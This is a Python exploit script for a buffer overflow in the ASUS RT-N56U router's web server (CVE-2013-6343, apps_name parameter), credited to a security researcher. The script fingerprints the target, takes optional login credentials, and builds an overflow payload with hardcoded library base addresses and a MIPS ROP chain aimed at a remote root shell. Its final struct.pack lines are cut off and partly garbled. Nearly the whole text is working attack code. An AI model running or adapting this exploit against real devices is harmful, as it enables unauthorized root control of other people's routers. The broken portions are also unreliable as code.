#!/usr/bin/env python from time import sleep from sys import exit import urllib2, signal, struct, base64, socket, ssl # [*] Title: ASUS RT-N56U Remote Root Shell Exploit - apps_name # [*] Discovered and Reported: October 2013 # [*] Discovered/Exploited By: Jacob Holcomb/Gimppy - Security Analyst @ ISE # [*] Contact: Twitter - @rootHak42 # [*] Software Vendor: http://asus.com # [*] Exploit/Advisory: http://securityevaluators.com, http://infosec42.blogspot.com/ # [*] Software: httpd (Listens on TCP/80 and TCP/443) # [*] Tested Firmware Versions: 3.0.0.4.374_979 (Other versions may be vulnerable) # [*] CVE: ASUS RT-N56U Buffer Overflow: CVE-2013-6343 # # [*] Overview: # Multiple ASUS routers including the RT-N56U and RT-AC66U have the ability to install # supplemental applications. This install process is handled by the routers web server, # and is susceptible to multiple Buffer Overflow attacks. # # Vulnerable Web Page: APP_Installation.asp # Vulnerable HTML Parameters: apps_name, apps_flag # Vulneralbe Source File: web.c of httpd code # *Firmware versions prior to the tested version were vulnerable to this attack. # def fingerPrint(host, port, netSock): fprint = ["RT-N56U"] found = None print " [*] Preparing to fingerprint the server." try: print " [*] Connecting to %s on port %d." % (host, port) netSock.connect((host, port)) except Exception as error: print "\n [!!!] ERROR! %s %s [!!!]\n\n" % (type(error), error) exit(0) try: print " [*] Sending fingerprint request." netSock.send("HEAD / HTTP/1.1\r\n\r\n") netData = netSock.recv(1024) except Exception as error: print "\n [!!!] ERROR! %s %s [!!!]\n\n" % (type(error), error) exit(0) try: print " [*] Closing network socket.\n" netSock.close() except Exception as error: print "\n [!!!] ERROR! %s %s [!!!]\n\n" % (type(error), error) for item in fprint: if item in netData: print " [!!!] Target system found in signature list - Result: %s [!!!]\n" % item sleep(1) found = item if found == None: print " [!!!] Server banner doesn't match available targets. [!!!]\n" sleep(1) exit(0) else: return found def targURL(): while True: URL = raw_input("\n[*] Please enter the URL of the router. Ex. http://192.168.1.1\n>") if len(URL) != 0 and URL[0:7] == "http://" or URL[0:8] == "https://": return URL.lower() else: print "\n\n [!!!] Target URL cant be null and must contain http:// or https:// [!!!]\n" sleep(1) def creds(): while True: User = raw_input("\n[*] Please enter the username for the routers HTTP Basic Authentication:\n>") Pass = raw_input("\n[*] Please enter the password for the supplied username:\n>") if len(User) != 0: return User, Pass else: print "\n [!!!] Username cant be null [!!!]\n" sleep(1) def basicAuth(): auth = None while auth != "yes" and auth != "no": auth = raw_input("\n[*] Would you like to use HTTP Basic Authentication? \"yes\" or \"no\"\n>") if auth.lower() == "yes": print "\n\n[!!!] You chose to use HTTP Basic Authentication [!!!]\n" sleep(1) User, Pass = creds() return base64.encodestring("%s:%s" % (User, Pass)).replace("\n", "") elif auth.lower() == "no": print "\n\n[!!!] You chose not to use HTTP Basic Authentication. [!!!]\n" sleep(1) return 0 else: print "\n\n[!!!] Error: You entered %s. Please enter \"yes\" or \"no\"! [!!!]\n" % auth sleep(1) def sigHandle(signum, frm): # Signal handler print "\n\n[!!!] Cleaning up the exploit... [!!!]\n" sleep(1) exit(0) def main(): print """\n[*] Title: ASUS RT-N56U Remote Root Shell Exploit - apps_name [*] Discovered and Reported: October 2013 [*] Discovered/Exploited By: Jacob Holcomb/Gimppy - Security Analyst @ ISE [*] Contact: Twitter - @rootHak42 [*] Software Vendor: http://asus.com [*] Exploit/Advisory: http://securityevaluators.com, http://infosec42.blogspot.com/ [*] Software: httpd (Listens on TCP/80 and TCP/443) [*] Tested Firmware Versions: 3.0.0.4.374_979 (Other versions may be vulnerable) [*] CVE: ASUS RT-N56U Buffer Overflow: CVE-2013-6343\n""" signal.signal(signal.SIGINT, sigHandle) #Setting signal handler for ctrl + c target = targURL() try: print "\n [*] Creating network socket" netSock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) if target[0:5] == "https": host = target[8:] port = 443 print " [*] Preparing SSL/TLS support." https_netSock = ssl.wrap_socket(netSock) finger = fingerPrint(host, port, https_netSock) else: host = target[7:] port = 80 finger = fingerPrint(host, port, netSock) except Exception as error: print "\n [!!!] ERROR! %s %s [!!!]\n\n" % (type(error), error) exit(0) auth = basicAuth() junk = "\x42" * 109 link_nop = "2Aa3" #Base address of ld_uClibc and libc in httpd address space ld_uClibcBase = 0x2aaa8000 libcBaseAddr = 0x2ab5f000 #Rop Chain #: move v0,s0 -> sched_yield() #: lw ra,28(sp) -> Rop2 #: lw s0,24(sp) #: jr ra #: addiu sp,sp,32 saved_ra1 = struct.pack(": lw ra,36(sp) -> Rop 3 #<_dl_runtime_pltresolve+72>: lw a0,16(sp) #<_dl_runtime_pltresolve+76>: lw a1,20(sp) #<_dl_runtime_pltresolve+80>: lw a2,24(sp) #<_dl_runtime_pltresolve+84>: lw a3,28(sp) #<_dl_runtime_pltresolve+88>: addiu sp,sp,40 #<_dl_runtime_pltresolve+92>: move t9,v0 #<_dl_runtime_pltresolve+96>: jr t9 -> jump sched_yield() #<_dl_runtime_pltresolve+100>: nop saved_ra2 = struct.pack(": addiu a1,sp,24 -> ptr to stack #: lw gp,16(sp) #: lw ra,32(sp) -> Rop 4 #: jr ra -> jump Rop 4 #: addiu sp,sp,40 saved_ra3 = struct.pack(" ptr to jalr sp on stack #addiu a0,a0,56 #jr t9 -> jump to stack #move a1,a2 saved_ra4 = struct.pack("